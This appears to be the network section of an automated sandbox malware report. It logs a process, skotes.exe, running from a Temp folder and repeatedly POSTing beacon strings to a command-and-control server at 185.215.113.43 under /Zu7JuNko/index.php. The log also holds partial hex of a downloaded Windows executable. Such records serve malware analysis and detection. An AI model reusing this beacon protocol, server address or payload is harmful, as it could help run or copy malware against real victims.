Sep 25, 2024 10:33:48.531085968 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 08:33:48 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Sep 2024 08:32:47 GMT ETag: "68e00-622ed777f557e" Accept-Ranges: bytes Content-Length: 429568 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1f d2 8a d1 5b b3 e4 82 5b b3 e4 82 5b b3 e4 82 34 c5 4f 82 4d b3 e4 82 34 c5 7a 82 7b b3 e4 82 34 c5 4e 82 28 b3 e4 82 52 cb 77 82 52 b3 e4 82 5b b3 e5 82 d4 b3 e4 82 34 c5 4b 82 5a b3 e4 82 34 c5 7e 82 5a b3 e4 82 34 c5 79 82 5a b3 e4 82 52 69 63 68 5b b3 e4 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e4 7f de 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 ae 04 00 00 06 05 00 00 00 00 00 33 f9 03 00 00 10 00 00 00 c0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 09 00 00 04 00 00 0b 31 07 00 02 00 00 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$[[[4OM4z{4N(RwR[4KZ4~Z4yZRich[PELe3@1td@\|h @ .text `.datap^@.rsrc\|@~@@
Sep 25, 2024 10:33:48.531150103 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 b9 04 00 c2 b9 04 00 b6 b9 04 00 a4 b9 04 00 92 b9 04 00 e4 b9 04 00 00 00 00 00 86 b4 04 00 a0 b4 04 00 ba b4 04 00 ce b4 Data Ascii: :Nf~.D\n.rThv
Sep 25, 2024 10:33:48.531183004 CEST	1236	IN	Data Raw: 69 00 6d 00 65 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 00 00 00 00 0d 00 0a 00 00 00 00 00 54 00 4c 00 4f 00 53 00 53 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 0a 00 00 00 53 00 49 00 4e 00 47 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 Data Ascii: ime error TLOSS errorSING errorDOMAIN errorR6033- Attempt to use MSIL code from this assembly during
Sep 25, 2024 10:33:48.531217098 CEST	672	IN	Data Raw: 72 00 20 00 73 00 74 00 64 00 69 00 6f 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 32 00 35 00 0d 00 0a 00 2d 00 20 00 70 00 75 00 72 00 65 00 Data Ascii: r stdio initializationR6025- pure virtual function callR6024- not enough space for _onexit/atexit table
Sep 25, 2024 10:33:48.531267881 CEST	1236	IN	Data Raw: 39 00 0d 00 0a 00 2d 00 20 00 6e 00 6f 00 74 00 20 00 65 00 6e 00 6f 00 75 00 67 00 68 00 20 00 73 00 70 00 61 00 63 00 65 00 20 00 66 00 6f 00 72 00 20 00 65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 0d 00 0a 00 00 00 52 00 Data Ascii: 9- not enough space for environmentR6008- not enough space for argumentsR6002- floating point support not lo
Sep 25, 2024 10:33:48.531300068 CEST	1236	IN	Data Raw: 04 00 00 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 92 00 00 c0 08 00 00 00 00 00 00 00 93 00 Data Ascii: KERNEL32.DLLFlsFreeFlsSetValueFlsGetValueFlsAlloc_nextafter_logb_yn_y1_y0fre
Sep 25, 2024 10:33:48.531332970 CEST	1236	IN	Data Raw: 6f 72 6d 61 74 69 6f 6e 57 00 00 00 47 65 74 4c 61 73 74 41 63 74 69 76 65 50 6f 70 75 70 00 00 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 4d 65 73 73 61 67 65 42 6f 78 57 00 55 00 53 00 45 00 52 00 33 00 32 00 2e 00 44 00 4c 00 4c 00 00 00 Data Ascii: ormationWGetLastActivePopupGetActiveWindowMessageBoxWUSER32.DLLfq@@6C??expAZDDDq[D !"#$%&'()*+,-./0123456789:;
Sep 25, 2024 10:33:48.531364918 CEST	1236	IN	Data Raw: e8 69 39 3e 00 00 00 00 00 80 f3 3f 00 00 00 54 7c ac ec 3f 27 5c 1b f2 7c 23 3c 3e 00 00 00 00 00 00 f4 3f 00 00 00 24 e2 0e ed 3f ce 7d b2 64 6a 88 23 3e 00 00 00 00 00 80 f4 3f 00 00 00 cc 57 6e ed 3f d7 88 13 4d 56 78 3a 3e 00 00 00 00 00 00 Data Ascii: i9>?T\|?'\\|#<>?$?}dj#>?Wn?MVx:>?,?18o,>?D$?c/>?@ \|?x7\|1>?\|?9>?p #?IAu=>?s?x4>?p?edf&.
Sep 25, 2024 10:33:48.531414986 CEST	1236	IN	Data Raw: 00 00 00 30 f3 b8 f3 3f 37 da a8 2e ea 59 18 3e 00 00 00 00 00 c0 06 40 00 00 00 50 e6 c6 f3 3f 9b 1d 5b eb 08 70 26 3e 00 00 00 00 00 00 07 40 00 00 00 d8 94 d4 f3 3f 68 34 8c 4d ee f8 41 3e 00 00 00 00 00 40 07 40 00 00 00 ac 00 e2 f3 3f 45 d6 Data Ascii: 0?7.Y>@P?[p&>@?h4MA>@@?EplE>@+?o$E>@h?\*K>@?-?B>@@P8?(l\|@>@p!?u@J>@@p-?V1>@
Sep 25, 2024 10:33:48.531450033 CEST	1236	IN	Data Raw: 25 0c 46 3e 00 00 00 00 00 c0 11 40 00 00 00 04 40 9c f5 3f 1e 52 ab 78 5e 7f 44 3e 00 00 00 00 00 e0 11 40 00 00 00 50 50 a2 f5 3f 86 16 c6 00 73 8a 40 3e 00 00 00 00 00 00 12 40 00 00 00 34 4c a8 f5 3f 50 8f 5f 21 0a be 23 3e 00 00 00 00 00 20 Data Ascii: %F>@@?Rx^D>@PP?s@>@4L?P_!#> @4?:#G>@@L?qg:&J>`@H?5L$.4>@\w?!1C>@?[<>@D?<=@?~
Sep 25, 2024 10:33:48.536384106 CEST	1236	IN	Data Raw: 00 00 00 dc 61 84 f6 3f 52 e2 7e 15 8d d7 e4 3d 00 00 00 00 00 40 18 40 00 00 00 74 c1 87 f6 3f 51 4e 54 09 aa ec 42 3e 00 00 00 00 00 60 18 40 00 00 00 78 18 8b f6 3f d6 57 33 04 63 e9 4c 3e 00 00 00 00 00 80 18 40 00 00 00 0c 67 8e f6 3f e5 2b Data Ascii: a?R~=@@t?QNTB>`@x?W3cL>@g?+(=@D?qJK>@L?;,*>@8!?D>@,O? E> @Du?in]D>@@?%3F>`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	64696	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:47.912702084 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:33:48.615928888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	64699	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:50.598237991 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:52.074147940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:33:52.074501991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:33:52.074774981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	64703	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:53.583134890 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:33:54.279970884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	64706	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:56.020462990 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:33:56.739073038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	64709	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:33:58.498434067 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:33:59.983700991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 25, 2024 10:33:59.983825922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 25, 2024 10:33:59.983956099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:33:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	64711	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:01.613986015 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:02.323259115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	64712	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:03.832753897 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:04.536880016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	64713	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:06.162858963 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:06.884141922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	64715	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:08.397608042 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:09.091748953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	64716	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:10.725399971 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:11.419540882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	64717	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:12.928035021 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:13.680540085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	64718	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:15.318676949 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:16.017575979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	64719	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:17.537373066 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:18.231782913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	64720	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:19.879801035 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:20.584520102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	64721	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:22.099838972 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:22.803390026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	64723	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:24.428379059 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
